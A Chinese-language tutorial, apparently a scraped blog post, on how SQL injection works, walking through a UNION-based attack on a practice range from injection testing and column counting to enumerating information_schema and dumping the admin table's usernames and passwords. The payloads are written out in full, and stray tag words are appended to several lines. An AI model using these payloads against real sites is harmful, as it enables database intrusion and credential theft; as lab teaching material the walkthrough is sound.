SQL注入原理解析以及舉例1

  sql注入是指web應用程序對用戶輸入數據的合法性沒有判斷,致使攻擊者能夠構造不一樣的sql語句來實現對數據庫的操做。mysql

  sql注入漏洞產生知足條件:web

    1;用戶可以控制數據的輸入。sql

    2;本來須要執行的代碼,拼接了用戶的輸入。數據庫

  舉例:測試

  注意:下面測試環境使用封神臺免費靶場。能夠從下面連接進入:https://hack.zkaq.org/?a=battle網站

  攻擊流程:3d

    1;判斷是否存在sql注入漏洞。orm

    2;判斷網頁存在字段數。blog

    3;判斷回顯點。排序

    4;獲取信息。

  測試開始:

    測試目標獲取管理員帳號密碼

    一;判斷是否存在sql注入漏洞。

      1.1;構建sql語句:?id=1 and 1=2 查看頁面是否正常。結果頁面顯示不正常。

 

      註釋:由於id=1爲真(可正常訪問頁面),且1=2爲假,因此and條件永遠不會成立。對於web應用不會返回結果給用戶。則攻擊者能看到的是一個錯誤的界面或者頁面結果爲空。固然,若是攻擊者構造的請求異常,也會致使頁面訪問不正常。

      1.2;構建新的sql語句,肯定是否存在語句邏輯錯誤致使頁面不正常。?id=1 and 1=1 結果頁面正常,初步判斷存在sql漏洞。

      註釋:1=1 爲真,and條件語句成立。

    二;判斷字段數:

      2.1;構建sql語句:?id=1 and 1=1 order by 1 判斷網頁是否正常。?id=1 and 1=1 order by 2 判斷網頁是否正常。?id=1 and 1=1 order by 3 判斷網頁是否正常。結果:?id=1 and 1=1 order by 3 網頁顯示不正常,能夠判斷字段數爲2

      註釋:order by 語句用來根據指定的列對結果集進行排序。詳細請參考網址:http://www.w3school.com.cn/sql/sql_orderby.asp 「order by 1」表示對第一欄位進行排序,

    三;判斷回顯點:構建sql語句:?id=1 and 1=2 union select 1,2 (以後的查詢結果將顯示在下圖紅框位置)

      註釋:union 操做符用於合併兩個或多個select語句的結果集,union內部的select語句必須擁有相同數量的列。詳細參考:http://www.w3school.com.cn/sql/sql_union.asp

    四; 獲取信息

      4.1;查看當前數據庫名以及數據庫版本。構建sql語句:?id=1 and 1=2 union select 1,database();?id=1 and 1=2 unio select 1, version()

      註釋:union select 1 ,database(),其中數字1佔一列,湊數,用來知足union定義。database():表示網站使用的數據庫,version():表示當前mysql的版本,usr():當前mysql的用戶。

 

      4.2;查詢當前數據庫以及表名稱。構建sql語句:?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

      註釋:information_schema數據庫用於存儲數據庫元數據,例如:數據庫名,表名,列的數據類型,訪問權限等。tables用來存儲數據庫中的表的信息,包括表屬於哪一個數據庫,表的類型,存儲引擎,建立時間等。table_schema和table_schema是表tables中的數據庫庫名和表名。limit 0,1 表示第一行顯示一行數據。limit 1,1表示第二行顯示一行數據。

      4.3;查詢表admin中的字段名。查詢三個字段:ID username  password

      構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

      構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

      構建SQL語句:?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

       註釋:columns表存儲表中的列的信息。其中包含數據庫庫名table_schema,表名table_name ,字段名column_name。

       4.4;查詢用戶名稱:?id=1 and 1=2 union select 1,username from admin 

      4.5;查詢密碼:?id=1 and 1=2 union select 1,password from admin 

相關文章
相關標籤/搜索